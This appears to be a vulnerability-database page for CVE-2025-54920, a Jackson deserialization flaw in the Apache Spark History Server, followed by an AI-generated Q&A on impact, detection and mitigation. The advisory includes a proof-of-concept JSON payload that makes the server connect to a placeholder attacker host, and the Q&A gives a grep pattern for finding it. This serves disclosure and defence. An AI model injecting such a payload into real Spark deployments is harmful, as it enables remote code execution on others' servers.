CVE-2025-54920
Awaiting Analysis Awaiting Analysis - Queue
Jackson Deserialization RCE in Apache Spark History Server

Publication date: 2026-03-16

Last updated on: 2026-03-20

Assigner: Apache Software Foundation

Description
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
CVSS Scores
EPSS Scores
Probability:
Percentile:
Meta Information
Published
2026-03-16
Last Modified
2026-03-20
Generated
2026-05-07
AI Q&A
2026-03-16
EPSS Evaluated
2026-05-05
NVD
EUVD
Affected Vendors & Products
Showing 10 associated CPEs
Vendor Product Version / Range
apache spark to 3.5.7 (exc)
apache spark 4.0.0
apache spark 4.0.0
apache spark 4.0.0
apache spark 4.0.0
apache spark 4.0.0
apache spark 4.0.0
apache spark 4.0.0
apache spark 4.0.0
apache spark 4.0.1
Helpful Resources
Exploitability
CWE
CWE Icon
KEV
KEV Icon
CWE ID Description
CWE-502 The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?

This vulnerability affects Apache Spark versions before 3.5.7 and 4.0.1. It is a code execution flaw in the Spark History Web UI caused by overly permissive Jackson deserialization of event log data.

Specifically, the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, which allows an attacker to specify arbitrary class names in the event JSON. This enables instantiation of unintended classes during deserialization.

An attacker with access to the Spark event logs directory can inject malicious JSON payloads into event log files. When the History Server loads these logs, it deserializes the payloads, triggering execution of arbitrary code on the host running the server.

For example, an attacker can inject JSON that causes the server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.


How can this vulnerability impact me? :

If an attacker has write access to the Spark event logs directory, they can exploit this vulnerability to execute arbitrary code on the server running the Spark History Server.

This can lead to full system compromise, as the attacker can run commands or perform malicious actions on the host.


How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:

I don't know


How can this vulnerability be detected on my network or system? Can you suggest some commands?

This vulnerability can be detected by checking for the presence of malicious or unexpected JSON payloads in the Spark event log files, especially those that specify arbitrary class names such as org.apache.hive.jdbc.HiveConnection.

Since the vulnerability involves deserialization of event log data, you can inspect the event log directory for suspicious JSON entries that might trigger the exploit.

Commands to detect this might include searching for suspicious JSON patterns in the Spark event logs directory. For example, using grep to find occurrences of the suspicious class name:

  • grep -r 'org.apache.hive.jdbc.HiveConnection' /path/to/spark-logs

Additionally, monitoring network connections initiated by the Spark History Server to unexpected remote hosts or ports could indicate exploitation attempts.


What immediate steps should I take to mitigate this vulnerability?

The immediate mitigation step is to upgrade Apache Spark to version 3.5.7 or 4.0.1 and above, as these versions contain the fix for this vulnerability.

Additionally, restrict write access to the Spark event logs directory to trusted users only, preventing attackers from injecting malicious JSON payloads.

Consider monitoring and auditing the Spark History Server logs and network activity for any suspicious behavior until the upgrade is applied.


Ask Our AI Assistant
Need more information? Ask your question to get an AI reply (Powered by our expertise)
0/70
EPSS Chart